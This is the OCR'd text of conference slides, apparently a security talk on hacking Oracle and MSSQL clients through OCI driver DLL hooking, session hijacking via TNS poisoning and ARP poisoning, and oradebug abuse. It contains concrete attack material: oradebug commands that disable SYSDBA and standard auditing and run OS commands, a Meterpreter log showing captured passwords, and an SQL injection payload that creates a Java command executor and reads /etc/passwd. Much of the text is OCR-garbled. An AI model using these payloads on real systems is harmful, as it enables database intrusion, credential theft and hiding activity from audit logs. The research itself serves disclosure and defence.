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Who are we?

@Work: Deloitte. Hungary
Pentests, Security audits, Config reviews, Consulting ...

Laszlo
+ 12+ years itsec

« 5+ years Oracle research

Ferenc
« O+ years itsec

+ 3+ years database security

Members of Hacktivity Team

Co-founders of Hekkcamp
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Where does the fun begin”

- Hacking the Oracle client

- Hijacking database connections |

- Metasploit feat. oradebug

« Using oradebug to get Meterpreter session \/

» Using Metasploit to run oradebug commands

* Playing with MSSQL connections
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Hacking the Oracle client

if you play with DLL injection you may find dirty things in the OCI driver
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What'’s the point”

- DLL injection is pretty old

« The OCI driver ships with symbol file
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Fancy, huh?
- Debug the OCI driver

+ Get the interesting functions

Do some memory kung-fu

Wrap-up your DLL

Get/Write an injector & apply your hooks

Enjoy the silence
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Fancy, huh?

ware when x64 N

- Debug the OCI driver

+ Get the interesting functions

Do some memory kung-fu

Wrap-up your DLL

Get/Write an injector & apply your hooks

Enjoy the silence
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Fancy, huh?

ware when x64 in

- Debug the OCI driver

[OCIATSet, verAttach

+ Get the interesting functions

Do some memory kung-fu

Wrap-up your DLL

Get/Write an injector & apply your hooks

Enjoy the silence
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Fancy, huh?

Debug the OCI driver |

[OCIArSet, OCIServerAttach |

Get the interesting functions

Do some memory kung-fu oints a pointer....|

Follow the pointer that

Wrap-up your DLL

Get/Write an injector & apply your hooks

Enjoy the silence
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Fancy, huh?

Debug the OCI driver |

Coewaat, OSererAtach]

Get the interesting functions

Do some memory kung-fu oints a pointer.... |

Follow the pointer that

Wrap-up your DLL ” archs! |

Get/Write an injector & apply your hooks

Enjoy the silence
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Fancy, huh?

« Debug the OCI driver

[OCiAttrSet, OCIServerAttach |

+ Get the interesting functions

Do some memory kung-fu oin

Follow the pointer that

Wrap-up your DLL  [Different DLLs for different archs!]

[Can be tricky in x64 envs! |

Get/Write an injector & apply your hooks

Enjoy the silence
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Fancy, huh?

« Debug the OCI driver

[OCiAttrSet, OCIServerAttach |

+ Get the interesting functions

Do some memory kung-fu oin

Follow the pointer that

Wrap-up your DLL  [Different DLLs for different archs! |

bcy in x64 envs! |

Get/Write an injector & apply your hooks

[Most of the time you get nothing}

Enjoy the silence
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M YSEC

S0, what'’s the point”??

Get the US€rname and the password from a single
SQL statement execution

- http://9gag.com

Source
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M YSEC

S0, what'’s the point”??

Get the US€rname and the password from a single
SQL statement execution
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How?

FEegisters [(FPLUI <, <, <, <, <, <,

[
(5]
AR
5]
5]
5]
5]
AR
(5]
(5]
AR
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BA44C04E =qlplus.8844C04E
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F 1 CS @aa23 32bit HIFFFFFFFF
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STH empty g
STl empty g
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ST2 empty g
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STS empty g
STE empty g
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2 218 ESPUOZDOI
FST 28 Cond B B B B Err @ B 1 B @B @ @ @ [GET]
H27YF FPrec MEHRE,53 HMask 1 11111

1=+ FETUREN to OCI. 18RA7HZSE
Bl 50654
HA1ECess  WICEB1DCE “S#r.

= e e
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How?
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Where is my golden egg”?
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Where is my golden egg”?
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Where is my golden egg”?
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Where is my golden egg”?
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Where is my golden egg”?
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Where is my golden egg”?
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Who should | shoot at?

This security flaw lies In
the OCI driver itself =

r
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Hijacking Oracle sessions

all roads lead to us
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BISSESEC

History

 In 2009 pytnsproxy was released @ Hacktivity conference by LaszIlo Téth
» Hijacking oracle sessions
- Downgrading auth protocols
 Log authentication data for offline brute-force
 In 2012 tnspoison attack details were revealed by Joxean Koret
- Great research paper

- Working PoC
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History

 In 2009 pytnsproxy was released @ Hacktivity conference by LaszIlo Téth

L o  oq. arp-cache poisoning|
- Hijacking oracle sessions | nt, e.g.:ap-Cac 1= o o

- Downgrading auth protocols

 Log authentication data for offline brute-force

 In 2012 tnspoison attack details were revealed by Joxean Koret

- Great research paper

- Working PoC
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History

 In 2009 pytnsproxy was released @ Hacktivity conference by LaszIlo Téth

t, 6.9.: arp-cache poisoning

» Hijacking oracle sessions ‘ ‘, ’\
- Downgrading auth protocols
 Log authentication data for offline brute-force

« In 2012 tnspoison attack details were revealed by Joxean Koret
- Great research paper

+ Working PoC aracters 109 §

[t works with SIDs 6 ch
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What?

Listener
. . W
Victim %
\—/
tnspoison
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IStener

Victim

tnspoison
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Victim

Listener

Authentication

Data

tnspoison
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What?

Listener
. . W
Victim %
\—/
tnspoison
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Victim

Listener

A A

Register
Register

tnspoison
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Victim
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Register
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tnspoison
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BISSESEC
What"

- You can redirect a certain percentage of the Oracle clients
 The traffic goes through you so you can do anything with it
« Sniff it
* Alter it

- Send your own SQL commands
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BISSESEC
What"

- You can redirect a certain percentage of the Oracle clients

* The traffic goes through you so you can do anything with it

« Sniff it

« Alter it

ore pytnsproxy can help youl|

- Send your own SQL commands | This is
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Hijack
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Hijack
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Attacker
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BIFAESEC

tnspoison
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Attacker
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Hijack
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Attacker
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é 2 ) Connect
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Hijack
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Attacker
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Hijack
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5

PYINSProxy w
thread

Attacker
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Attacker
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Hijack
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thread
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Hijack
Connect Register
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pytvﬂsproxy . Data i N

thread -
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Hijack

You can execute SQL commands
In the name of the Victim

( y




BISSESEC

Notes

* You have to use the same client version that the client used

- Use proxytest/proxytest as username/password for hijacking
or use AS SYSDBA :-) (It does not work with the sqldeveloper 3.2)

« You have an easy to use metasploit module (tnhspoison) for SID length 1-12
(all possible length)

- Global Database ID usage needs further testing
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Oradebug programming language

C64 style backfires
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History

- BlackHat 2011 - David Litchfield showed how to run operating system level
commands

« Hacktivity 2011 - Laszlé Toth showed how to:
* Run operating system command in a much simplier way
- Switch off the auditing without restarting the database

- Switch off the Oracle password validation on Windows
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What?

It is a command that can be called from sqlplus

It can be accessed by SYSDBA only

It is logged into a trace file that can be deleted by the SYSDBA

You can call any function that is accessible from the Oracle executable

* You can write the Oracle process memory
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What?

* |t iIs a command that can be called from sqlplus

* It can be accessed by SYSDBA only

- It is logged into a trace file that can be deleted by the SYSDBA

 You can call any function that is accessible from the Oracle executable

* You can write the Oracle process memory
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What?

« SYSDBA audit switched off

oradebug poke 0x0600340E0 1 O
+ Standard Audit switched off

oradebug poke 0x060041BA8 2 O
« Operating system command was run

oradebug call system "/bin/ls  -I>/tmp/Is.txt”
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What?

« SYSDBA audit switched off

oradebug poke 0x0600340E0 1 O

the given veri ,

« Standard Audit switched off ,' nd on

oradebug poke 0x060041BA8 2 O
« Operating system command was run

oradebug call system "/bin/ls  -I>/tmp/Is.txt”
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What"/

- SYSDBA audit switched off

oradebug pol

« Standard Audit swi

oradebug pol

- Operating system ¢

oradebug cal
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What"/

- SYSDBA audit switched off

rsion! |

« Standard Audit swi

oradebug pol

- Operating system ¢

oradebug cal
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audit sys operations boolean TRUE
SQL> alter system set audit sys operations=false;
alter system set audit sys operations=false

*

ERROR at line 1:
ORA-02095: specified initialization parameter cannot be modified

SQL> oradebug setmypid

Statement processed.

SQL> oradebug setvar sga kzaflg ©
BEFORE: [0600346A0, 0600346A4) = 00000001
AFTER: [0600346A0, 0600346A4) = 00000000
SQL>
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What?

SQL> show parameter sys op

audit sys operations boolean TRUE

Q> alter system set audit sys operations=false,;

alter system set audit sys operations=false
*

ERROR at line 1:

ORA-02095: specified initialization parameter |cannot be modified

SQL> oradebug setmypid
Statement processed.

SQL>|oradebug setvar sga kzaflg ©
BEFORE: [0600346A0, 0600346A4) 00000001
AFTER: [0600346A0, 0600346A4) 00000006

SQL>
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—asy to use

- Metasploit module for command execution
+ Metasploit module for payload execution

- Simulating Linux 32bit client for
* Linux 11.2.0.3 64 bit
« Windows 11.2.0.3 64 bit

* You do not need the Oracle drivers
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thread
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Attacker
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Hijack
DB LINK
Victim
Data
PytNsSproxy -«
thread
Qs

Attacker
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Hijack
DB LINK

Victim
ztvoope
ztvodpd

Data
PytNsSproxy -«
thread
Qu,

Attacker
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Hijack
DB LINK

Victim
ztvoope
ztvodpd

Data
PytNsSproxy -«
thread
Qu,

Attacker
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00 2e 00 0O 06 OO OO0 OO 0O 0O 08 01 00 01 16 00O
16 46 75 6e 63 74 69 6T 6e 20 72 65 74 75 72 6e
65 64 20 45 32 34 Oa 09 01 0O 0O OO O3 00O

| Sending stage (951296 bytes) to 192.168.56.20
' *] Meterpreter session 2 opened (192.168.56.101:42032 -> 192.168.56.20:4444
) at 2012-09-18 21:01:33 +0200

meterpreter > load oralog
Loading extension oralog...success.

pyt meterpreter > hook
Function hooking completed

meterpreter > getlogfile
[InitServerExtension] Extension loaded
[pztvo5pe] Password: Testl1234
[pztvo5pe] Password: Testl1234
[pztvo5pd] Password: Testl234
[pztvo5pd] Password: Testl234

meterpreter >
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Notes

- Combine all the things above == get the SYS user password
« Easy to use metasploit modules

 Oracle is huge (the windows executable is 130MB), so be careful what you
are doing in the memory
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MSSQL hijack

We do not deal with Oracle only
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History

» Tools to log the authentication data or downgrade the authentication
(e.g.: hatkit_proxy/ms-sql-downgrade.bsh )

» Metasploit module for harvesting credentials
(July 12th, 2012 by Patrik Karlsson)

 But until now there was no tool for hijacking
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What?

Victim
.
tdsproxy R
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Attacker




What?

Victim
Al‘henticat,bn
Data
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Attacker
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Victim
.
tdsproxy R
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Attacker




What?

Victim

ARP cache poisoning

2

tdsproxy ~_

Attacker




What?

Victim
A A ARP cache poisoning
c| 8
{d v Authentication
< >
N R
SPIrOXYy Data
< > \.—/

Attacker
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Victim

ARP cache poisoning

X )

tdSproxy < ~_

Attacker




What?

Victim

ARP cache poisoning

X ) -

tdSproxy < ~_
thread e’

Attacker
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What?

Victim

ARP cache poisoning

X ) -

tdsproxy < > N—
thread e’

Attacker
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What?

Victim

ARP cache poisoning

X ) -

tdSprOxy < > ~—
thread e’

Attacker
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What?

Victim

ARP cache poisoning

X ) -

tdsproxy ) ]
thread \ ,

[We can use a normal mssgl client here: |
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—asy to use

» It is MS world so tdsproxy has a GUI!

 You can use the Metasploit MSSQL modules.

Thursday, November 29, 12



BIFAESEC

Notes

« We had to modify the mssql.rb core mixin to add some support for newer
protocols

* You have to use the same client version that the client used

« You can use Metasploit auxiliary MSSQL modules.
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Notes

MNYSEC

76 467.65339192.168.56.1

192.168.56.101

TDS

455 Response[Malformed Packet]

Length: 54
Ack: 1

+ Token 0xe3 Environment Change

i+ Token Oxab Info Message
= Token 0xad Login Acknowledgement

Major version (may be incorrect):
Minor version (may be incorrect):

zero usually

10

0150
0160
0170
0180
0190
01a0
01bo

00 2e 00 09 4d
30 00 31 00 32
Ga 00 03 16 4d
6f 00 66 00 74
53 00 65 00 72
Ob 00 08 34 e3
00 04 34 00 30

00

00
00
00
00
13
00

33
00
69
20
76
00
39

00
01
00
00
00
04
00

53 00 51
00 00 00
63 00 72
53 00 51
65 00 72
04 34 00
36 00 fd

00
ad
00
00
00
30
00

4c
36
6f
4c
00
00
00

00
00
00
00
00
39
00
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Notes

76 467.65339192.168.56.1 192.168.56.101  TDS 455 Response[Malformed Packet]

+ Token 0x|#
+ Token ox|# Parse a "login ack" TDS token
= #
Mdef mssql parse login ack(data, info)
Ai::? g len = data.slice!(0,2).unpack('v")[0]
#We receive back the TDS version from the server.
Minor ! #We save it to check this version
zZero u #when we create a query and parse a reply.
0150 00 2e | ack = data slice!(6,1).unpack('C')[0
0160 30 00 |
0170 0Oa 00 |
0180 6T 00 |
0190 53 00 | buff = data.slice! (0, len)
01a® ©Ob 00 | info[:login ack] = true
01b0 00 04 |

end
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Notes

NS EC

192.168.56.101  TDS

76 467.65339192.168.56.1

| | 4

455 Response[Malformed Packet]

# Parse out the columns
cols = data.slice!(0,2).unpack('v')[0]
0.upto(cols-1) do |col idx|
gal = 4%
info[:colinfos][col idx] = col

if(@major > 113)

col[:utype] = data.slice!(0,4).unpack('v')[0]

else
col[:utype] = data.slice!(0,2).unpack('v')[0]
end
col[:flags]
col[:type]

data.slice! (0,2).unpack('V"')[0]
data.slice!(0,1).unpack('C')[0]

case col[:type]
when 48

col[:id] = :tinyint
when 50

col[:1d] = :bit

#1f the protocol is newer than the ancient 0x71, the packet format is different
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Summary

- There was no SQL injection in this presentation

- If you play with DLL injection you may find dirty things in the OCI driver
- All roads lead to us

« C64 style backfires

« We do not deal with Oracle only
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one more thing...
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MNYSEC

This slide does not exist!

select null, null, dbms xmlquery.newcontext('declare PRAGMA

AUTONOMOUS TRANSACTION; begin execute immediate ''create or replace and resolve
java source named "JAVACMD" AS import java.lang.*; import java.io.*;public class
JAVACMD{public static String execCommand (String command) throws IOException
{Process p=Runtime.getRuntime().exec(command);InputStream ir =
p.getInputStream();byte[] b=new byte[2000];ir.read(b,0,2000);return new
String(b);:;}};" ' ';end;') from dual;

select null, null, dbms xmlquery.newcontext('declare PRAGMA
AUTONOMOUS TRANSACTION; begin execute immediate ''create or replace function
javacmdproc(p _command in varchar2) return varchar2 as language java name

JAVACMD.execCommand (java.lang.String) return String - ; end;') from
dual;

select null, null, dbms xmlquery.newcontext('declare PRAGMA
AUTONOMOUS TRANSACTION; begin execute immediate '‘'grant javasyspriv to bdapp'';
end; ') from dual;

select javacmdproc('/bin/cat /etc/passwd'), null, null from dual;
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BISSESEC
Thank Youl

INSERT INTO DeepsSecMessages
VALUES (“Thx for the Hekkcamp participants!”);

INSERT INTO DeepsecMessages
VALUES ("See U @ DeepSec 2013%);

Laszlo Toth Ferenc Spala
. ! donctl spala.ferenc
Get all the goodies from: 3 - @FerencSpala
http://soonerorlater.hu / "
n/a spala.ferenc
fm LaszIo Toth Ferenc Spala
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